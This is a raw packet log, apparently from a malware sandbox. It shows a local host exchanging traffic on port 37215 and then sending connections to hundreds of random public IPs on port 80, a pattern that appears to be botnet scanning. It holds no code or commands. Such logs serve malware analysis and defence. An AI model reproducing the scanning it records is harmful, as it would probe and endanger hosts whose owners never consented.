Dec 3, 2024 22:02:07.355691910 CET	37215	52790	197.195.158.99	192.168.2.14
Dec 3, 2024 22:02:07.355700970 CET	37215	38906	197.188.21.100	192.168.2.14
Dec 3, 2024 22:02:07.356147051 CET	37215	38906	197.188.21.100	192.168.2.14
Dec 3, 2024 22:02:07.356163025 CET	37215	52790	197.195.158.99	192.168.2.14
Dec 3, 2024 22:02:07.356203079 CET	38906	37215	192.168.2.14	197.188.21.100
Dec 3, 2024 22:02:07.356204987 CET	52790	37215	192.168.2.14	197.195.158.99
Dec 3, 2024 22:02:07.356384993 CET	37215	45898	41.66.212.146	192.168.2.14
Dec 3, 2024 22:02:07.356512070 CET	45898	37215	192.168.2.14	41.66.212.146
Dec 3, 2024 22:02:07.356676102 CET	37215	48100	41.41.138.225	192.168.2.14
Dec 3, 2024 22:02:07.356715918 CET	48100	37215	192.168.2.14	41.41.138.225
Dec 3, 2024 22:02:07.356940031 CET	37215	43688	41.179.104.30	192.168.2.14
Dec 3, 2024 22:02:07.356981039 CET	43688	37215	192.168.2.14	41.179.104.30
Dec 3, 2024 22:02:07.357275963 CET	37215	52374	41.118.194.99	192.168.2.14
Dec 3, 2024 22:02:07.357321024 CET	52374	37215	192.168.2.14	41.118.194.99
Dec 3, 2024 22:02:07.357578993 CET	37215	52772	197.131.102.163	192.168.2.14
Dec 3, 2024 22:02:07.357619047 CET	52772	37215	192.168.2.14	197.131.102.163
Dec 3, 2024 22:02:07.358047962 CET	37215	47584	197.174.91.252	192.168.2.14
Dec 3, 2024 22:02:07.358089924 CET	47584	37215	192.168.2.14	197.174.91.252
Dec 3, 2024 22:02:07.358464003 CET	37215	45304	197.97.53.20	192.168.2.14
Dec 3, 2024 22:02:07.358501911 CET	45304	37215	192.168.2.14	197.97.53.20
Dec 3, 2024 22:02:07.358690977 CET	37215	37680	156.117.91.14	192.168.2.14
Dec 3, 2024 22:02:07.358727932 CET	37680	37215	192.168.2.14	156.117.91.14
Dec 3, 2024 22:02:07.359031916 CET	37215	49992	41.114.48.9	192.168.2.14
Dec 3, 2024 22:02:07.359069109 CET	49992	37215	192.168.2.14	41.114.48.9
Dec 3, 2024 22:02:07.359224081 CET	37215	47118	156.7.166.118	192.168.2.14
Dec 3, 2024 22:02:07.359257936 CET	47118	37215	192.168.2.14	156.7.166.118
Dec 3, 2024 22:02:07.359530926 CET	37215	49744	41.242.231.240	192.168.2.14
Dec 3, 2024 22:02:07.359601021 CET	49744	37215	192.168.2.14	41.242.231.240
Dec 3, 2024 22:02:07.359875917 CET	37215	56576	197.53.171.17	192.168.2.14
Dec 3, 2024 22:02:07.359915018 CET	56576	37215	192.168.2.14	197.53.171.17
Dec 3, 2024 22:02:07.360069990 CET	37215	50552	197.119.230.197	192.168.2.14
Dec 3, 2024 22:02:07.360109091 CET	50552	37215	192.168.2.14	197.119.230.197
Dec 3, 2024 22:02:07.360559940 CET	37215	37026	41.72.83.125	192.168.2.14
Dec 3, 2024 22:02:07.360609055 CET	37026	37215	192.168.2.14	41.72.83.125
Dec 3, 2024 22:02:07.360846996 CET	37215	42142	41.250.53.110	192.168.2.14
Dec 3, 2024 22:02:07.360884905 CET	42142	37215	192.168.2.14	41.250.53.110
Dec 3, 2024 22:02:07.361057043 CET	37215	44070	156.176.19.33	192.168.2.14
Dec 3, 2024 22:02:07.361099958 CET	44070	37215	192.168.2.14	156.176.19.33
Dec 3, 2024 22:02:07.361340046 CET	37215	49344	41.92.97.54	192.168.2.14
Dec 3, 2024 22:02:07.361378908 CET	49344	37215	192.168.2.14	41.92.97.54
Dec 3, 2024 22:02:07.361578941 CET	37215	60786	41.159.149.11	192.168.2.14
Dec 3, 2024 22:02:07.361623049 CET	60786	37215	192.168.2.14	41.159.149.11
Dec 3, 2024 22:02:07.361795902 CET	37215	38138	197.198.71.1	192.168.2.14
Dec 3, 2024 22:02:07.361835003 CET	38138	37215	192.168.2.14	197.198.71.1
Dec 3, 2024 22:02:07.362106085 CET	37215	44030	156.64.242.57	192.168.2.14
Dec 3, 2024 22:02:07.362144947 CET	44030	37215	192.168.2.14	156.64.242.57
Dec 3, 2024 22:02:07.362343073 CET	37215	48920	197.37.224.195	192.168.2.14
Dec 3, 2024 22:02:07.362380028 CET	48920	37215	192.168.2.14	197.37.224.195
Dec 3, 2024 22:02:07.362648010 CET	37215	39088	41.68.117.52	192.168.2.14
Dec 3, 2024 22:02:07.362683058 CET	39088	37215	192.168.2.14	41.68.117.52
Dec 3, 2024 22:02:07.363039017 CET	37215	58306	41.3.168.87	192.168.2.14
Dec 3, 2024 22:02:07.363076925 CET	58306	37215	192.168.2.14	41.3.168.87
Dec 3, 2024 22:02:07.363195896 CET	37215	49690	156.48.132.91	192.168.2.14
Dec 3, 2024 22:02:07.363230944 CET	49690	37215	192.168.2.14	156.48.132.91
Dec 3, 2024 22:02:07.367387056 CET	37215	39224	156.115.5.177	192.168.2.14
Dec 3, 2024 22:02:07.370476007 CET	39296	80	192.168.2.14	78.0.83.2
Dec 3, 2024 22:02:07.370476007 CET	39296	80	192.168.2.14	174.55.139.176
Dec 3, 2024 22:02:07.370484114 CET	39296	80	192.168.2.14	105.151.53.61
Dec 3, 2024 22:02:07.370496988 CET	39296	80	192.168.2.14	54.53.237.62
Dec 3, 2024 22:02:07.370506048 CET	39296	80	192.168.2.14	118.204.187.44
Dec 3, 2024 22:02:07.370507002 CET	39296	80	192.168.2.14	178.242.237.71
Dec 3, 2024 22:02:07.370507956 CET	39296	80	192.168.2.14	157.103.75.253
Dec 3, 2024 22:02:07.370522976 CET	39296	80	192.168.2.14	178.210.152.167
Dec 3, 2024 22:02:07.370524883 CET	39296	80	192.168.2.14	143.99.95.110
Dec 3, 2024 22:02:07.370526075 CET	39296	80	192.168.2.14	114.208.100.201
Dec 3, 2024 22:02:07.370531082 CET	39296	80	192.168.2.14	198.189.224.193
Dec 3, 2024 22:02:07.370544910 CET	39296	80	192.168.2.14	177.239.113.140
Dec 3, 2024 22:02:07.370547056 CET	39296	80	192.168.2.14	204.35.160.225
Dec 3, 2024 22:02:07.370548010 CET	39296	80	192.168.2.14	23.99.41.131
Dec 3, 2024 22:02:07.370557070 CET	39296	80	192.168.2.14	47.153.81.194
Dec 3, 2024 22:02:07.370558023 CET	39296	80	192.168.2.14	209.86.154.186
Dec 3, 2024 22:02:07.370558023 CET	39296	80	192.168.2.14	213.191.12.210
Dec 3, 2024 22:02:07.370560884 CET	39296	80	192.168.2.14	184.173.139.197
Dec 3, 2024 22:02:07.370560884 CET	39296	80	192.168.2.14	221.139.58.157
Dec 3, 2024 22:02:07.370560884 CET	39296	80	192.168.2.14	13.196.67.96
Dec 3, 2024 22:02:07.370575905 CET	39296	80	192.168.2.14	191.134.10.12
Dec 3, 2024 22:02:07.370583057 CET	39296	80	192.168.2.14	181.201.46.148
Dec 3, 2024 22:02:07.370599031 CET	39296	80	192.168.2.14	12.34.64.37
Dec 3, 2024 22:02:07.370601892 CET	39296	80	192.168.2.14	62.249.28.173
Dec 3, 2024 22:02:07.370601892 CET	39296	80	192.168.2.14	177.202.166.71
Dec 3, 2024 22:02:07.370601892 CET	39296	80	192.168.2.14	27.121.171.251
Dec 3, 2024 22:02:07.370603085 CET	39296	80	192.168.2.14	82.76.90.181
Dec 3, 2024 22:02:07.370603085 CET	39296	80	192.168.2.14	177.71.218.117
Dec 3, 2024 22:02:07.370605946 CET	39296	80	192.168.2.14	62.83.178.30
Dec 3, 2024 22:02:07.370613098 CET	39296	80	192.168.2.14	153.89.143.237
Dec 3, 2024 22:02:07.370613098 CET	39296	80	192.168.2.14	175.73.50.83
Dec 3, 2024 22:02:07.370629072 CET	39296	80	192.168.2.14	175.139.0.227
Dec 3, 2024 22:02:07.370629072 CET	39296	80	192.168.2.14	37.255.220.23
Dec 3, 2024 22:02:07.370631933 CET	39296	80	192.168.2.14	20.198.81.69
Dec 3, 2024 22:02:07.370631933 CET	39296	80	192.168.2.14	160.161.135.140
Dec 3, 2024 22:02:07.370641947 CET	39296	80	192.168.2.14	109.77.194.238
Dec 3, 2024 22:02:07.370646000 CET	39296	80	192.168.2.14	218.126.225.212
Dec 3, 2024 22:02:07.370646000 CET	39296	80	192.168.2.14	129.231.223.48
Dec 3, 2024 22:02:07.370647907 CET	39296	80	192.168.2.14	103.72.229.132
Dec 3, 2024 22:02:07.370660067 CET	39296	80	192.168.2.14	86.144.144.96
Dec 3, 2024 22:02:07.370661020 CET	39296	80	192.168.2.14	201.114.77.63
Dec 3, 2024 22:02:07.370687962 CET	39296	80	192.168.2.14	164.85.255.116
Dec 3, 2024 22:02:07.370687962 CET	39296	80	192.168.2.14	137.159.163.199
Dec 3, 2024 22:02:07.370687962 CET	39296	80	192.168.2.14	201.53.123.10
Dec 3, 2024 22:02:07.370688915 CET	39296	80	192.168.2.14	218.151.107.165
Dec 3, 2024 22:02:07.370696068 CET	39296	80	192.168.2.14	120.241.175.168
Dec 3, 2024 22:02:07.370696068 CET	39296	80	192.168.2.14	164.45.162.129
Dec 3, 2024 22:02:07.370697021 CET	39296	80	192.168.2.14	160.0.139.255
Dec 3, 2024 22:02:07.370703936 CET	39296	80	192.168.2.14	19.95.112.157
Dec 3, 2024 22:02:07.370703936 CET	39296	80	192.168.2.14	116.205.215.176
Dec 3, 2024 22:02:07.370707035 CET	39296	80	192.168.2.14	217.80.202.79
Dec 3, 2024 22:02:07.370711088 CET	39296	80	192.168.2.14	53.185.41.234
Dec 3, 2024 22:02:07.370713949 CET	39296	80	192.168.2.14	59.96.118.1
Dec 3, 2024 22:02:07.370731115 CET	39296	80	192.168.2.14	129.118.36.146
Dec 3, 2024 22:02:07.370731115 CET	39296	80	192.168.2.14	188.33.185.14
Dec 3, 2024 22:02:07.370732069 CET	39296	80	192.168.2.14	204.36.48.153
Dec 3, 2024 22:02:07.370732069 CET	39296	80	192.168.2.14	193.48.76.10
Dec 3, 2024 22:02:07.370734930 CET	39296	80	192.168.2.14	49.1.195.100
Dec 3, 2024 22:02:07.370738983 CET	39296	80	192.168.2.14	45.104.244.0
Dec 3, 2024 22:02:07.370754957 CET	39296	80	192.168.2.14	177.26.138.226
Dec 3, 2024 22:02:07.370755911 CET	39296	80	192.168.2.14	122.48.197.58
Dec 3, 2024 22:02:07.370755911 CET	39296	80	192.168.2.14	211.31.201.190
Dec 3, 2024 22:02:07.370758057 CET	39296	80	192.168.2.14	130.3.34.14
Dec 3, 2024 22:02:07.370759010 CET	39296	80	192.168.2.14	169.151.45.44
Dec 3, 2024 22:02:07.370764971 CET	39296	80	192.168.2.14	62.55.44.36
Dec 3, 2024 22:02:07.370793104 CET	39296	80	192.168.2.14	45.115.158.36
Dec 3, 2024 22:02:07.370793104 CET	39296	80	192.168.2.14	136.194.18.59
Dec 3, 2024 22:02:07.370795012 CET	39296	80	192.168.2.14	65.223.145.244
Dec 3, 2024 22:02:07.370795012 CET	39296	80	192.168.2.14	181.68.180.108
Dec 3, 2024 22:02:07.370795965 CET	39296	80	192.168.2.14	82.32.191.193
Dec 3, 2024 22:02:07.370795965 CET	39296	80	192.168.2.14	213.202.21.222
Dec 3, 2024 22:02:07.370798111 CET	39296	80	192.168.2.14	128.56.243.252
Dec 3, 2024 22:02:07.370795965 CET	39296	80	192.168.2.14	175.90.120.191
Dec 3, 2024 22:02:07.370810986 CET	39296	80	192.168.2.14	93.94.73.219
Dec 3, 2024 22:02:07.370829105 CET	39296	80	192.168.2.14	162.153.170.154
Dec 3, 2024 22:02:07.370832920 CET	39296	80	192.168.2.14	104.33.52.217
Dec 3, 2024 22:02:07.370832920 CET	39296	80	192.168.2.14	208.11.178.174
Dec 3, 2024 22:02:07.370834112 CET	39296	80	192.168.2.14	110.6.191.134
Dec 3, 2024 22:02:07.370834112 CET	39296	80	192.168.2.14	105.44.135.41
Dec 3, 2024 22:02:07.370843887 CET	39296	80	192.168.2.14	220.190.164.107
Dec 3, 2024 22:02:07.370852947 CET	39296	80	192.168.2.14	126.151.38.221
Dec 3, 2024 22:02:07.370855093 CET	39296	80	192.168.2.14	71.148.56.130
Dec 3, 2024 22:02:07.370863914 CET	39296	80	192.168.2.14	156.120.141.93
Dec 3, 2024 22:02:07.370867968 CET	39296	80	192.168.2.14	188.103.236.253
Dec 3, 2024 22:02:07.370868921 CET	39296	80	192.168.2.14	203.103.57.220
Dec 3, 2024 22:02:07.370873928 CET	39296	80	192.168.2.14	80.194.30.188
Dec 3, 2024 22:02:07.370882034 CET	39296	80	192.168.2.14	93.106.227.246
Dec 3, 2024 22:02:07.370882034 CET	39296	80	192.168.2.14	222.60.134.37
Dec 3, 2024 22:02:07.370884895 CET	39296	80	192.168.2.14	57.121.219.18
Dec 3, 2024 22:02:07.370888948 CET	39296	80	192.168.2.14	171.9.144.93
Dec 3, 2024 22:02:07.370903969 CET	39296	80	192.168.2.14	2.227.21.21
Dec 3, 2024 22:02:07.370904922 CET	39296	80	192.168.2.14	107.10.150.81
Dec 3, 2024 22:02:07.370907068 CET	39296	80	192.168.2.14	186.55.195.231
Dec 3, 2024 22:02:07.370912075 CET	39296	80	192.168.2.14	203.239.160.151
Dec 3, 2024 22:02:07.370929956 CET	39296	80	192.168.2.14	78.66.218.22
Dec 3, 2024 22:02:07.370932102 CET	39296	80	192.168.2.14	114.207.234.233
Dec 3, 2024 22:02:07.370935917 CET	39296	80	192.168.2.14	218.94.178.19
Dec 3, 2024 22:02:07.370935917 CET	39296	80	192.168.2.14	129.185.179.117
Dec 3, 2024 22:02:07.370944023 CET	39296	80	192.168.2.14	99.0.60.151
Dec 3, 2024 22:02:07.370948076 CET	39296	80	192.168.2.14	68.36.143.10
Dec 3, 2024 22:02:07.370948076 CET	39296	80	192.168.2.14	9.250.138.73
Dec 3, 2024 22:02:07.370954037 CET	39296	80	192.168.2.14	160.112.7.153
Dec 3, 2024 22:02:07.370960951 CET	39296	80	192.168.2.14	101.179.249.118
Dec 3, 2024 22:02:07.370975018 CET	39296	80	192.168.2.14	75.20.193.197
Dec 3, 2024 22:02:07.370984077 CET	39296	80	192.168.2.14	89.47.140.96
Dec 3, 2024 22:02:07.370987892 CET	39296	80	192.168.2.14	51.232.145.252
Dec 3, 2024 22:02:07.370990038 CET	39296	80	192.168.2.14	76.78.144.20
Dec 3, 2024 22:02:07.371005058 CET	39296	80	192.168.2.14	34.155.139.80
Dec 3, 2024 22:02:07.371011019 CET	39296	80	192.168.2.14	135.205.10.102
Dec 3, 2024 22:02:07.371016026 CET	39296	80	192.168.2.14	145.200.25.115
Dec 3, 2024 22:02:07.371016979 CET	39296	80	192.168.2.14	64.188.144.56
Dec 3, 2024 22:02:07.371023893 CET	39296	80	192.168.2.14	212.7.118.1
Dec 3, 2024 22:02:07.371031046 CET	39296	80	192.168.2.14	172.36.253.188
Dec 3, 2024 22:02:07.371038914 CET	39296	80	192.168.2.14	24.22.13.167
Dec 3, 2024 22:02:07.371052027 CET	39296	80	192.168.2.14	68.139.233.254
Dec 3, 2024 22:02:07.371052980 CET	39296	80	192.168.2.14	134.246.47.41
Dec 3, 2024 22:02:07.371056080 CET	39296	80	192.168.2.14	95.140.3.128
Dec 3, 2024 22:02:07.371064901 CET	39296	80	192.168.2.14	212.183.241.83
Dec 3, 2024 22:02:07.371064901 CET	39296	80	192.168.2.14	164.32.220.205
Dec 3, 2024 22:02:07.371074915 CET	39296	80	192.168.2.14	114.107.152.185
Dec 3, 2024 22:02:07.371074915 CET	39296	80	192.168.2.14	79.184.40.230
Dec 3, 2024 22:02:07.371074915 CET	39296	80	192.168.2.14	84.134.198.207
Dec 3, 2024 22:02:07.371074915 CET	39296	80	192.168.2.14	2.103.121.243
Dec 3, 2024 22:02:07.371077061 CET	39296	80	192.168.2.14	63.102.32.113
Dec 3, 2024 22:02:07.371082067 CET	39296	80	192.168.2.14	133.89.135.155
Dec 3, 2024 22:02:07.371084929 CET	39296	80	192.168.2.14	121.8.102.78
Dec 3, 2024 22:02:07.371102095 CET	39296	80	192.168.2.14	35.92.203.255
Dec 3, 2024 22:02:07.371102095 CET	39296	80	192.168.2.14	192.121.106.62
Dec 3, 2024 22:02:07.371113062 CET	39296	80	192.168.2.14	51.245.218.28
Dec 3, 2024 22:02:07.371119022 CET	39296	80	192.168.2.14	110.160.7.2
Dec 3, 2024 22:02:07.371120930 CET	39296	80	192.168.2.14	142.175.140.189
Dec 3, 2024 22:02:07.371120930 CET	39296	80	192.168.2.14	187.97.232.152
Dec 3, 2024 22:02:07.371136904 CET	39296	80	192.168.2.14	133.187.234.144
Dec 3, 2024 22:02:07.371146917 CET	39296	80	192.168.2.14	57.0.114.45
Dec 3, 2024 22:02:07.371155977 CET	39296	80	192.168.2.14	182.84.110.188
Dec 3, 2024 22:02:07.371160030 CET	39296	80	192.168.2.14	223.199.225.192
Dec 3, 2024 22:02:07.371160030 CET	39296	80	192.168.2.14	191.24.253.65
Dec 3, 2024 22:02:07.371161938 CET	39296	80	192.168.2.14	100.173.188.237
Dec 3, 2024 22:02:07.371165991 CET	39296	80	192.168.2.14	41.96.89.137
Dec 3, 2024 22:02:07.371171951 CET	39296	80	192.168.2.14	2.207.78.110
Dec 3, 2024 22:02:07.371181011 CET	39296	80	192.168.2.14	202.62.94.47
Dec 3, 2024 22:02:07.371186972 CET	39296	80	192.168.2.14	125.77.237.8
Dec 3, 2024 22:02:07.371197939 CET	39296	80	192.168.2.14	85.51.248.158
Dec 3, 2024 22:02:07.371201038 CET	39296	80	192.168.2.14	186.52.148.246
Dec 3, 2024 22:02:07.371201038 CET	39296	80	192.168.2.14	2.92.207.136
Dec 3, 2024 22:02:07.371217966 CET	39296	80	192.168.2.14	212.115.213.182
Dec 3, 2024 22:02:07.371221066 CET	39296	80	192.168.2.14	8.204.144.12
Dec 3, 2024 22:02:07.371226072 CET	39296	80	192.168.2.14	52.181.39.165
Dec 3, 2024 22:02:07.371226072 CET	39296	80	192.168.2.14	193.140.34.197
Dec 3, 2024 22:02:07.371226072 CET	39296	80	192.168.2.14	79.48.156.206
Dec 3, 2024 22:02:07.371249914 CET	39296	80	192.168.2.14	46.253.20.151
Dec 3, 2024 22:02:07.371249914 CET	39296	80	192.168.2.14	191.117.161.187
Dec 3, 2024 22:02:07.371249914 CET	39296	80	192.168.2.14	166.205.15.196
Dec 3, 2024 22:02:07.371263027 CET	39296	80	192.168.2.14	126.54.191.97
Dec 3, 2024 22:02:07.371270895 CET	39296	80	192.168.2.14	212.32.88.58
Dec 3, 2024 22:02:07.371274948 CET	39296	80	192.168.2.14	89.86.104.110
Dec 3, 2024 22:02:07.371274948 CET	39296	80	192.168.2.14	106.51.180.16
Dec 3, 2024 22:02:07.371282101 CET	39296	80	192.168.2.14	190.234.189.46
Dec 3, 2024 22:02:07.371284008 CET	39296	80	192.168.2.14	101.41.212.251
Dec 3, 2024 22:02:07.371295929 CET	39296	80	192.168.2.14	51.196.152.101
Dec 3, 2024 22:02:07.371299982 CET	39296	80	192.168.2.14	180.114.69.129
Dec 3, 2024 22:02:07.371303082 CET	39296	80	192.168.2.14	146.79.139.170
Dec 3, 2024 22:02:07.371323109 CET	39296	80	192.168.2.14	209.249.68.189
Dec 3, 2024 22:02:07.371326923 CET	39296	80	192.168.2.14	161.163.149.9
Dec 3, 2024 22:02:07.371328115 CET	39296	80	192.168.2.14	90.31.155.246
Dec 3, 2024 22:02:07.371336937 CET	39296	80	192.168.2.14	143.103.64.90
Dec 3, 2024 22:02:07.371342897 CET	39296	80	192.168.2.14	14.233.6.209
Dec 3, 2024 22:02:07.371342897 CET	39296	80	192.168.2.14	146.247.70.67
Dec 3, 2024 22:02:07.371345997 CET	39296	80	192.168.2.14	89.134.133.49
Dec 3, 2024 22:02:07.371349096 CET	39296	80	192.168.2.14	117.43.189.82
Dec 3, 2024 22:02:07.371361971 CET	39296	80	192.168.2.14	60.242.23.254
Dec 3, 2024 22:02:07.371371031 CET	39296	80	192.168.2.14	9.236.221.215
Dec 3, 2024 22:02:07.371378899 CET	39296	80	192.168.2.14	190.245.58.125
Dec 3, 2024 22:02:07.371380091 CET	39296	80	192.168.2.14	153.230.109.186
Dec 3, 2024 22:02:07.371381044 CET	39296	80	192.168.2.14	153.190.116.45
Dec 3, 2024 22:02:07.371393919 CET	39296	80	192.168.2.14	149.59.79.178
Dec 3, 2024 22:02:07.371397018 CET	39296	80	192.168.2.14	95.177.164.82
Dec 3, 2024 22:02:07.371398926 CET	39296	80	192.168.2.14	86.243.36.10
Dec 3, 2024 22:02:07.371403933 CET	39296	80	192.168.2.14	24.48.252.228
Dec 3, 2024 22:02:07.371417999 CET	39296	80	192.168.2.14	104.37.54.239
Dec 3, 2024 22:02:07.371422052 CET	39296	80	192.168.2.14	108.236.115.225
Dec 3, 2024 22:02:07.371423006 CET	39296	80	192.168.2.14	155.165.54.93
Dec 3, 2024 22:02:07.371432066 CET	39296	80	192.168.2.14	45.33.252.40
Dec 3, 2024 22:02:07.371440887 CET	39296	80	192.168.2.14	122.113.243.22
Dec 3, 2024 22:02:07.371442080 CET	39296	80	192.168.2.14	147.45.133.109
Dec 3, 2024 22:02:07.371459007 CET	39296	80	192.168.2.14	86.148.99.28
Dec 3, 2024 22:02:07.371462107 CET	39296	80	192.168.2.14	191.207.79.48
Dec 3, 2024 22:02:07.371464968 CET	39296	80	192.168.2.14	116.95.172.115
Dec 3, 2024 22:02:07.371467113 CET	39296	80	192.168.2.14	80.106.100.135
Dec 3, 2024 22:02:07.371484995 CET	39296	80	192.168.2.14	115.223.109.35
Dec 3, 2024 22:02:07.371486902 CET	39296	80	192.168.2.14	165.124.52.56
Dec 3, 2024 22:02:07.371488094 CET	39296	80	192.168.2.14	140.159.32.28
Dec 3, 2024 22:02:07.371495008 CET	39296	80	192.168.2.14	47.222.249.46
Dec 3, 2024 22:02:07.371505022 CET	39296	80	192.168.2.14	205.79.105.189
Dec 3, 2024 22:02:07.371510983 CET	39296	80	192.168.2.14	202.85.53.75
Dec 3, 2024 22:02:07.371514082 CET	39296	80	192.168.2.14	174.59.158.238
Dec 3, 2024 22:02:07.371514082 CET	39296	80	192.168.2.14	208.232.142.200
Dec 3, 2024 22:02:07.371517897 CET	39296	80	192.168.2.14	174.255.55.2
Dec 3, 2024 22:02:07.371517897 CET	39296	80	192.168.2.14	223.49.118.114
Dec 3, 2024 22:02:07.371517897 CET	39296	80	192.168.2.14	147.69.179.24
Dec 3, 2024 22:02:07.371527910 CET	39296	80	192.168.2.14	130.173.119.55
Dec 3, 2024 22:02:07.371534109 CET	39296	80	192.168.2.14	161.38.7.24
Dec 3, 2024 22:02:07.371534109 CET	39296	80	192.168.2.14	143.127.240.224
Dec 3, 2024 22:02:07.371541977 CET	39296	80	192.168.2.14	140.156.238.129
Dec 3, 2024 22:02:07.371555090 CET	39296	80	192.168.2.14	165.80.20.120
Dec 3, 2024 22:02:07.371560097 CET	39296	80	192.168.2.14	63.134.250.193
Dec 3, 2024 22:02:07.371562004 CET	39296	80	192.168.2.14	40.91.85.105
Dec 3, 2024 22:02:07.371562004 CET	39296	80	192.168.2.14	32.164.183.137
Dec 3, 2024 22:02:07.371566057 CET	39296	80	192.168.2.14	122.15.158.99
Dec 3, 2024 22:02:07.371575117 CET	39296	80	192.168.2.14	94.21.132.12
Dec 3, 2024 22:02:07.371579885 CET	39296	80	192.168.2.14	181.127.31.46
Dec 3, 2024 22:02:07.371584892 CET	39296	80	192.168.2.14	209.138.153.145
Dec 3, 2024 22:02:07.371594906 CET	39296	80	192.168.2.14	25.28.217.226
Dec 3, 2024 22:02:07.371598005 CET	39296	80	192.168.2.14	110.187.200.124
Dec 3, 2024 22:02:07.371598005 CET	39296	80	192.168.2.14	155.226.131.130
Dec 3, 2024 22:02:07.371602058 CET	39296	80	192.168.2.14	160.212.119.127
Dec 3, 2024 22:02:07.371609926 CET	39296	80	192.168.2.14	71.241.54.192
Dec 3, 2024 22:02:07.371615887 CET	39296	80	192.168.2.14	121.180.218.211
Dec 3, 2024 22:02:07.371618032 CET	39296	80	192.168.2.14	49.83.178.190
Dec 3, 2024 22:02:07.371622086 CET	39296	80	192.168.2.14	68.169.114.184
Dec 3, 2024 22:02:07.371622086 CET	39296	80	192.168.2.14	64.252.213.189
Dec 3, 2024 22:02:07.371622086 CET	39296	80	192.168.2.14	149.54.87.145
Dec 3, 2024 22:02:07.371637106 CET	39296	80	192.168.2.14	137.129.57.42
Dec 3, 2024 22:02:07.371639967 CET	39296	80	192.168.2.14	65.121.185.206
Dec 3, 2024 22:02:07.371642113 CET	39296	80	192.168.2.14	202.179.102.216
Dec 3, 2024 22:02:07.371642113 CET	39296	80	192.168.2.14	91.78.185.72
Dec 3, 2024 22:02:07.371659040 CET	39296	80	192.168.2.14	4.44.130.14
Dec 3, 2024 22:02:07.371659040 CET	39296	80	192.168.2.14	52.42.25.6
Dec 3, 2024 22:02:07.371666908 CET	39296	80	192.168.2.14	42.51.2.7
Dec 3, 2024 22:02:07.371668100 CET	39296	80	192.168.2.14	148.7.188.156
Dec 3, 2024 22:02:07.371671915 CET	39296	80	192.168.2.14	155.201.83.119
Dec 3, 2024 22:02:07.371673107 CET	39296	80	192.168.2.14	208.160.67.136
Dec 3, 2024 22:02:07.371673107 CET	39296	80	192.168.2.14	37.92.238.14
Dec 3, 2024 22:02:07.371673107 CET	39296	80	192.168.2.14	8.79.124.157
Dec 3, 2024 22:02:07.371675014 CET	39296	80	192.168.2.14	66.158.110.21
Dec 3, 2024 22:02:07.371680021 CET	39296	80	192.168.2.14	206.97.156.92
Dec 3, 2024 22:02:07.371692896 CET	39296	80	192.168.2.14	204.34.191.41
Dec 3, 2024 22:02:07.371699095 CET	39296	80	192.168.2.14	62.203.119.198
Dec 3, 2024 22:02:07.371711016 CET	39296	80	192.168.2.14	202.61.49.78
Dec 3, 2024 22:02:07.371714115 CET	39296	80	192.168.2.14	107.78.168.157
Dec 3, 2024 22:02:07.371720076 CET	39296	80	192.168.2.14	164.49.219.149
Dec 3, 2024 22:02:07.371731997 CET	39296	80	192.168.2.14	43.7.45.237
Dec 3, 2024 22:02:07.371732950 CET	39296	80	192.168.2.14	220.130.220.115
Dec 3, 2024 22:02:07.371732950 CET	39296	80	192.168.2.14	163.137.129.57
Dec 3, 2024 22:02:07.371733904 CET	39296	80	192.168.2.14	106.6.193.126
Dec 3, 2024 22:02:07.371735096 CET	39296	80	192.168.2.14	114.164.10.67
Dec 3, 2024 22:02:07.371733904 CET	39296	80	192.168.2.14	170.172.102.146
Dec 3, 2024 22:02:07.371733904 CET	39296	80	192.168.2.14	163.48.141.171
Dec 3, 2024 22:02:07.371733904 CET	39296	80	192.168.2.14	104.230.15.4
Dec 3, 2024 22:02:07.371740103 CET	39296	80	192.168.2.14	190.8.73.53
Dec 3, 2024 22:02:07.371742010 CET	39296	80	192.168.2.14	201.206.101.115
Dec 3, 2024 22:02:07.371743917 CET	39296	80	192.168.2.14	183.119.143.9
Dec 3, 2024 22:02:07.371754885 CET	39296	80	192.168.2.14	50.3.58.169
Dec 3, 2024 22:02:07.371762991 CET	39296	80	192.168.2.14	82.86.111.93
Dec 3, 2024 22:02:07.371763945 CET	39296	80	192.168.2.14	95.203.125.174
Dec 3, 2024 22:02:07.371772051 CET	39296	80	192.168.2.14	191.187.143.55
Dec 3, 2024 22:02:07.371784925 CET	39296	80	192.168.2.14	116.211.238.201
Dec 3, 2024 22:02:07.371789932 CET	39296	80	192.168.2.14	39.191.248.72
Dec 3, 2024 22:02:07.371792078 CET	39296	80	192.168.2.14	81.248.92.203
Dec 3, 2024 22:02:07.371794939 CET	39296	80	192.168.2.14	148.32.206.115
Dec 3, 2024 22:02:07.371797085 CET	39296	80	192.168.2.14	219.22.175.156
Dec 3, 2024 22:02:07.371814966 CET	39296	80	192.168.2.14	121.215.52.42
Dec 3, 2024 22:02:07.371814966 CET	39296	80	192.168.2.14	145.211.182.247
Dec 3, 2024 22:02:07.371823072 CET	39296	80	192.168.2.14	110.64.101.2
Dec 3, 2024 22:02:07.371824980 CET	39296	80	192.168.2.14	23.148.104.197
Dec 3, 2024 22:02:07.371824980 CET	39296	80	192.168.2.14	118.92.246.85
Dec 3, 2024 22:02:07.371846914 CET	39296	80	192.168.2.14	107.31.141.79
Dec 3, 2024 22:02:07.371848106 CET	39296	80	192.168.2.14	54.152.86.21
Dec 3, 2024 22:02:07.371848106 CET	39296	80	192.168.2.14	141.149.8.5
Dec 3, 2024 22:02:07.371850014 CET	39296	80	192.168.2.14	23.198.62.219
Dec 3, 2024 22:02:07.371865988 CET	39296	80	192.168.2.14	65.186.216.17
Dec 3, 2024 22:02:07.371866941 CET	39296	80	192.168.2.14	211.41.102.39
Dec 3, 2024 22:02:07.371872902 CET	39296	80	192.168.2.14	188.196.255.247
Dec 3, 2024 22:02:07.371881008 CET	39296	80	192.168.2.14	186.177.119.174
Dec 3, 2024 22:02:07.371886969 CET	39296	80	192.168.2.14	193.8.249.102
Dec 3, 2024 22:02:07.371891975 CET	39296	80	192.168.2.14	98.92.92.247
Dec 3, 2024 22:02:07.371891975 CET	39296	80	192.168.2.14	115.114.1.15
Dec 3, 2024 22:02:07.371903896 CET	39296	80	192.168.2.14	138.129.235.97
Dec 3, 2024 22:02:07.371942043 CET	39296	80	192.168.2.14	81.197.126.66
Dec 3, 2024 22:02:07.371943951 CET	39296	80	192.168.2.14	198.29.56.3
Dec 3, 2024 22:02:07.371943951 CET	39296	80	192.168.2.14	181.109.45.196
Dec 3, 2024 22:02:07.371944904 CET	39296	80	192.168.2.14	60.103.184.44
Dec 3, 2024 22:02:07.371944904 CET	39296	80	192.168.2.14	53.183.108.82
Dec 3, 2024 22:02:07.371944904 CET	39296	80	192.168.2.14	187.157.41.53
